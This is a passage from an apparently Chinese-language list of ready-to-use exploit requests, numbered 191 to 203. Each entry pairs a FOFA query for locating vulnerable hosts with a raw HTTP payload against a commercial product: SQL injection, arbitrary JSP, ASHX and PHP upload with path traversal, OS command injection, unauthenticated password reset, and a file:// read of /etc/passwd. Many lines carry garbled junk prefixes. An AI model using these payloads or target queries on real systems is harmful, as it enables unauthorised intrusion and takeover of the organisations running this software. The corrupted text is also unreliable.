6 ?5 f0 r- g  |0 J, y2 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
! A' W+ g& j' q( r/ bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
0 x' V, x1 I7 E# r, PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 I' U. f# }$ o' Y2 h4 `
# z+ t1 [, ~% G- f5 V( M" Kpoi=file:///etc/passwd


" d9 Z6 u+ {0 J4 e" a+ A* i. W$ N191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
/ J( x$ b8 E4 @9 s6 k! dFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

' X9 W; F& q+ }- F/ `command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
( g2 _( \' R9 ~1 Q( A/ o( o& k# ~
. E. i. a+ P; }6 G! y, J& e$ ]
4 X4 ?8 b! f, U; L6 a192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

# X4 u/ p. n2 o# v6 c+ ~0 _
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
" ?# M# m$ g. v% I% b" X% Qpublic class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
! B' x# x1 ?/ \; x0 {8 dctx.Response.Write("test");
}
/ n/ ]+ [% t1 _4 Y: j) H1 m- r}
/ z8 C% c6 P) H% {
0 B  ~6 l3 _" {" ^# G; n  i
, E/ m1 l- T& O, }193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
" t2 ^9 |! A) }GET /master/ajaxActions/getTokenAction.php HTTP/1.1
6 A5 {+ [  Q7 tHost:
7 {  v2 s% f" c6 O6 OCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
: o( [* X7 |( B/ y1 m$ _User-Agent: Mozilla/5.0

( R- x; G! X1 D# u* y. ^; d3 E0 I
1 ]0 f8 ?% p0 ?3 P" fPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
9 F7 S8 B8 g% z, |* L' wAccept-Encoding: gzip, deflate
Accept: */*
, x5 B4 g% N$ Y0 w# y* k& m; }Connection: close
, a4 K: ?1 P# z* o% `Cookie: PHPSESSID=2333333333333;
0 E6 O; @3 t( B- P. w. G5 mContent-Type: application/x-www-form-urlencoded
Content-Length: 84

4 M3 i2 E1 g$ m8 g$ |param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
; x1 i1 t3 T' F- F. U

' Z5 k) Y, e' }0 cGET /master/img/config HTTP/1.1
- @7 X! P2 q3 B8 f( r% J6 lHost:
User-Agent: Mozilla/5.0
9 w6 @  d* W5 @: F, b* H* k
+ C& i5 [5 z/ U) c3 k/ x8 |8 S
  W  o2 t* M- W194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
1 n8 [& q, h2 g) XFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
% ^) P) |/ S9 Q
8 j% S$ I! m. |: R/ J$ j' O6 \POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
; {/ e# K" n# c( n. PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
$ i+ V' m( T( f$ w% p: DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; Y1 |; J* ^1 b9 i1 K$ ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
: V- Q! Z! K3 A1 r, [Connection: close
* A9 M( X2 ]+ i5 `Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

5 J  u. r$ N) V$ R, ^& lContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
+ e4 p+ A. L6 n------WebKitFormBoundaryKNt0t4vBe8cX9rZk
& S( `  I2 }' q2 p5 M( |Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
8 I2 ?! y- E3 B8 \------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
9 l4 _+ u1 d& s/ I" H' CPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
7 \8 n% {( `; `/ QPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ W6 G* g0 n6 V- z1 FAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 Z% w# }, \% Y5 w2 bConnection: close
/ [( @: ]# j1 pContent-Type: application/x-www-form-urlencoded
Content-Length: 68
: H# p- K* C) W$ w: Z7 D1 }
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
% v+ T8 a/ i& @9 `

( b. q4 F$ y" n- G( |# P/ b196. 河南省风速科技统一认证平台密码重置
1 t( n7 ^% W) [( Q, m* X4 M2 ~% m2 WFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
' ^7 j7 h1 U  U( t# P" GPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
5 t, y1 N: i7 ?* v3 A  X5 H7 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
2 _+ o& c. {0 k0 G5 GContent-Type: application/json;charset=UTF-8
; L) K! v/ u) `! d: d: `% w8 hX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
' ~9 Z* t/ A9 j7 l! hContent-Length: 45
" O3 {8 t# d  S2 [Connection: close
% s0 z8 S/ F& g  a/ F" U, f7 A6 p
( N% n# \" Y' y, F  I. D. U' F{"xgh":"test","newPass":"test666","email":""}



# \3 S8 ]5 y* W: @5 w* J, @) z4 W197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
& y+ ~' v2 `2 _- q$ q) w- jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
5 F0 d2 V9 i8 s! f5 S' CAccept-Encoding: gzip, deflate
Connection: close
* `2 L* D0 @9 Z% w& L& w
2 z0 ^' t8 I0 {- s+ {  Q$ \+ }9 [* ~

198.  阿里云盘 WebDAV 命令注入
7 u* l$ F8 }0 t1 j: ~7 j4 Y! sCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


199. cockpit系统assetsmanager_upload接口 文件上传
  A& L+ k/ L5 [4 N8 B
! b: H; c# r0 Y1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

# }1 I& Z3 S/ {$ l& h2 c响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

4 h; g0 e7 k1 G% B- R2.使用刚才上一步获取到的jwt获取cookie：
: y, T- H8 U, W: {5 z) Z
! C5 F2 W: L( \7 }& ZPOST /auth/check HTTP/1.1
/ ?+ p! O8 a& \; fContent-Type: application/json

7 Z4 U2 |  ~: k! s{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
' P0 z8 a; b$ O: L
5 `, d6 P; }2 |响应：200，返回值:
' U$ V" \1 a3 O+ ]! ZSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
1 h9 f+ U% d+ e. P7 D: J6 t8 VPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
1 L; O( ]- O1 m0 @+ h& jCookie: mysession=95524f01e238bf51bb60d77ede3bea92

4 F' ?' Y" s+ s% M( u) e% c-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
* z+ O7 _9 k: z( Z- _
/ P' K& l4 H* o4 `( H7 l& }2 c<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

: q& p7 @6 j- h3 P4 {+ G, }-----------------------------36D28FBc36bd6feE7Fb3--
- t2 T, _- q0 \0 t

; C8 W7 V7 U4 r5 u1 q* H/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
: k6 E' z" s. m* t  gUpgrade-Insecure-Requests: 1
% \7 y9 x* R. s- |0 E. ECache-Control: max-age=0
+ U$ `! v& a5 r! T  k5 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# @  W1 P' _1 RAccept-Encoding: gzip, deflate
, _& Q  U9 V7 F8 x. y$ m) \Accept-Language: zh-CN,zh;q=0.9

! i. _2 Y6 V7 g& o: R  c, l: |
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
8 L5 y) @$ I" m- OContent-Type: application/x-www-form-urlencoded
3 o; F  u, T  t/ E4 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 d6 r- N" X2 Y- g% }5 o# L, i% _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

8 J1 J/ G( u" k; TTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
; f# ~" M+ z) h1 z' s' d! d

202. 微擎系统 AccountEdit任意文件上传
( P4 G6 e5 P' l) U; ^. D% [8 cFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
' Q3 x% H+ @* iGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
1 r* y8 |, R7 [1 m7 O. ^POST /User/AccountEdit.aspx HTTP/1.1
% d! [9 O" O7 {6 J$ \Accept-Encoding: gzip, deflate, br
0 f/ m2 ~& g0 ?6 \Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
+ W; n# b0 g& p9 }% W2 v
9 c' K! @4 I. A' @7 }__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

4 s, s; C- g! ?__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
; I! @7 D) ^$ pContent-Type: text/plain
" o1 ?: d# B1 F" B1 {( T
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
! P. Q5 p4 |& u  s# O/ T* T; @7 Y
' a5 c6 w4 j9 D! k( v! F5 s/ G上传图片
: U4 g4 u2 i% N9 n-----------------------------786435874t38587593865736587346567358735687
! X* L0 e! S3 g& B3 J6 q. kContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


+ T* Z& K* r& {/ `# ], l5 g-----------------------------786435874t38587593865736587346567358735687
& x2 |" ^& Q- \3 ^- aContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
$ {: I& o; _- O. l  @
5 Q* z2 o. S" ~& y
* Q2 y% s5 G& K; n9 G/ J3 ]-----------------------------786435874t38587593865736587346567358735687--
& @5 G8 y) H9 H5 H  r
+ c- ?$ h$ Z) l6 u3 k- m
/_data/Uploads/1123.txt
% w) D2 a3 d" v8 k
203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
4 S6 q2 n' h. l' L" gAccept-Encoding: gzip
, \4 V. y5 Y) x; y+ C  [- F- rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ A! J- F( {5 }0 \$ M, a( d) OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
4 F9 g5 g, M# m; L! N5 b0 F# u1 p- O* MContent-Length: 210
$ R: q  H* F; Z' z; d+ j
! a  S* L" C3 V: P: J------WebKitFormBoundaryt7WbDl1tXogoZys4
* [$ I! r7 W: L& C2 wContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
0 M/ @% @% {0 t1 \5 \Content-Type:image/jpeg
, B9 H( u, j2 X3 }- d& J8 H
<% out.print("hello,eHR");%>
* \& F! V; Z4 q9 r0 ]! h( {1 ~------WebKitFormBoundaryt7WbDl1tXogoZys4--
0 R3 ^" G: O% r- |2 m" M2 n

  l7 Q* O6 \8 E2 S- t8 {; y4 C7 U
  X# N& M3 Q  U. M! ]( t  z
" t  g: h9 N9 A( @- x; u
6 i! I0 w+ ?6 X: r' V: s+ @
0 N: Q; v) m; q0 P0 S